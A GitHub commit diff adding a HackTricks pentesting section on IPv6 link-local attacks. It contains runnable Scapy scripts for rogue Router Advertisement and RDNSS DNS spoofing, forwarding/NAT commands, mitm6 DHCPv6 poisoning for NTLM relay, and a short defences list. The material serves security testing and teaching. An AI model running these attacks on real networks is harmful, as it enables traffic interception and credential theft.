Skip to content

Commit f7aa715

Browse files
authored
Merge pull request #1177 from HackTricks-wiki/update_Legless__IPv6_Penetration_Testing_20250724_013022
Legless IPv6 Penetration Testing
2 parents d87f5e1 + 44c205a commit f7aa715

File tree

1 file changed

+180
-1
lines changed

1 file changed

+180
-1
lines changed

src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md

Lines changed: 180 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -112,12 +112,191 @@ To identify IPv6 addresses, certain DNS record types can be queried:
112112

113113
After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
114114

115+
## IPv6 Local Network Attack Techniques
116+
117+
The following sections cover practical layer-2 IPv6 attacks that can be executed **inside the same /64 segment** without knowing any global prefix. All the packets shown below are **link-local** and travel only through the local switch, making them extremely stealthy in most environments.
118+
119+
### System Tuning for a Stable Lab
120+
121+
Before playing with IPv6 traffic it is recommended to harden your box to avoid being poisoned by your own tests and to get the best performance during massive packet injection/sniffing.
122+
123+
```bash
124+
# Enable promiscuous mode to capture all frames
125+
sudo ip link set dev eth0 promisc on
126+
127+
# Ignore rogue Router Advertisements & Redirects coming from the segment
128+
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
129+
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
130+
131+
# Increase fd / backlog limits when generating lots of traffic
132+
sudo sysctl -w fs.file-max=100000
133+
sudo sysctl -w net.core.somaxconn=65535
134+
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
135+
```
136+
137+
### Passive NDP & DHCPv6 Sniffing
138+
139+
Because every IPv6 host **automatically joins multiple multicast groups** (`ff02::1`, `ff02::2`, …) and speaks ICMPv6 for SLAAC/NDP, you can map the whole segment without sending a single packet. The following Python/Scapy one-liner listens for the most interesting L2 messages and prints a colored, timestamped log of who is who:
140+
141+
```python
142+
#!/usr/bin/env python3
143+
from scapy.all import *
144+
from scapy.layers.dhcp6 import *
145+
from datetime import datetime
146+
from colorama import Fore, Style, init
147+
import argparse
148+
149+
init(autoreset=True)
150+
151+
# Human-readable names for protocols we care about
152+
DHCP6_TYPES = {
153+
DHCP6_Solicit: 'Solicit',
154+
DHCP6_Advertise: 'Advertise',
155+
DHCP6_Request: 'Request',
156+
DHCP6_Reply: 'Reply',
157+
DHCP6_Renew: 'Renew',
158+
DHCP6_Rebind: 'Rebind',
159+
DHCP6_RelayForward:'Relay-Forward',
160+
DHCP6_RelayReply: 'Relay-Reply'
161+
}
162+
ICMP6_TYPES = {
163+
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
164+
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
165+
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
166+
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
167+
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
168+
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
169+
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
170+
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
171+
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
172+
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
173+
}
174+
175+
def handler(pkt):
176+
eth_src = pkt[Ether].src if Ether in pkt else '?'
177+
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
178+
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
179+
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
180+
181+
# Identify protocol family first
182+
for proto,(desc,color) in ICMP6_TYPES.items():
183+
if proto in pkt:
184+
break
185+
else:
186+
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
187+
for dhcp_t,name in DHCP6_TYPES.items():
188+
if dhcp_t in pkt:
189+
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
190+
else:
191+
return # not a DHCPv6 message we track
192+
else:
193+
return # not interesting
194+
195+
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
196+
print(f" MAC {eth_src} -> {eth_dst}")
197+
print(f" IPv6 {ip6_src} -> {ip6_dst}")
198+
print('-'*60)
199+
200+
if __name__ == '__main__':
201+
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
202+
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
203+
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
204+
a = argp.parse_args()
205+
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
206+
```
207+
208+
Result: a full **link-local topology** (MAC ⇄ IPv6) in a matter of seconds, without triggering IPS/IDS systems that rely on active scans.
209+
210+
### Router Advertisement (RA) Spoofing
211+
212+
IPv6 hosts rely on **ICMPv6 Router Advertisements** for default-gateway discovery. If you inject forged RAs **more frequently** than the legitimate router, devices will silently switch to you as the gateway.
213+
214+
```python
215+
#!/usr/bin/env python3
216+
from scapy.all import *
217+
import argparse
218+
219+
p = argparse.ArgumentParser()
220+
p.add_argument('-i','--interface',required=True)
221+
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
222+
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
223+
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
224+
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
225+
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
226+
args = p.parse_args()
227+
228+
lifetime = 0 if args.revert else args.lifetime
229+
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
230+
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
231+
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
232+
233+
send(ra,iface=args.interface,loop=1,inter=args.interval)
234+
```
235+
236+
To actually **forward traffic** after winning the race:
237+
238+
```bash
239+
sudo sysctl -w net.ipv6.conf.all.forwarding=1
240+
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
241+
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
242+
```
243+
244+
### RDNSS (DNS) Spoofing via RA
245+
246+
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it:
247+
248+
```python
249+
#!/usr/bin/env python3
250+
from scapy.all import *
251+
import argparse
252+
253+
p = argparse.ArgumentParser()
254+
p.add_argument('-i','--interface',required=True)
255+
p.add_argument('--llip',required=True)
256+
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
257+
p.add_argument('--lifetime',type=int,default=600)
258+
p.add_argument('--interval',type=int,default=5)
259+
args = p.parse_args()
260+
261+
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
262+
ICMPv6ND_RA(routerlifetime=0)/
263+
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
264+
265+
send(ra,iface=args.interface,loop=1,inter=args.interval)
266+
```
267+
268+
Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
269+
270+
### DHCPv6 DNS Spoofing (mitm6)
271+
272+
Instead of SLAAC, Windows networks often depend on **stateless DHCPv6** for DNS. [mitm6](https://github.com/rofl0r/mitm6) automatically replies to `Solicit` messages with an **Advertise → Reply** flow that assigns **your link-local address as DNS for 300 seconds**. This unlocks:
273+
274+
* NTLM relay attacks (WPAD + DNS hijacking)
275+
* Intercepting internal name resolution without touching routers
276+
277+
Typical usage:
278+
279+
```bash
280+
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
281+
```
282+
283+
### Defences
284+
285+
* **RA Guard / DHCPv6 Guard / ND Inspection** on managed switches.
286+
* Port ACLs that allow only the legitimate router’s MAC to send RAs.
287+
* Monitor for **unsolid high-rate RAs** or sudden **RDNSS changes**.
288+
* Disabling IPv6 on endpoints is a temporary workaround that often breaks modern services and hides blind spots – prefer L2 filtering instead.
289+
290+
291+
115292
## References
116293

294+
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
295+
- [mitm6](https://github.com/rofl0r/mitm6)
296+
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
117297
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
118298
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
119299

120300
{{#include ../../banners/hacktricks-training.md}}
121301

122302

123-

0 commit comments

Comments
 (0)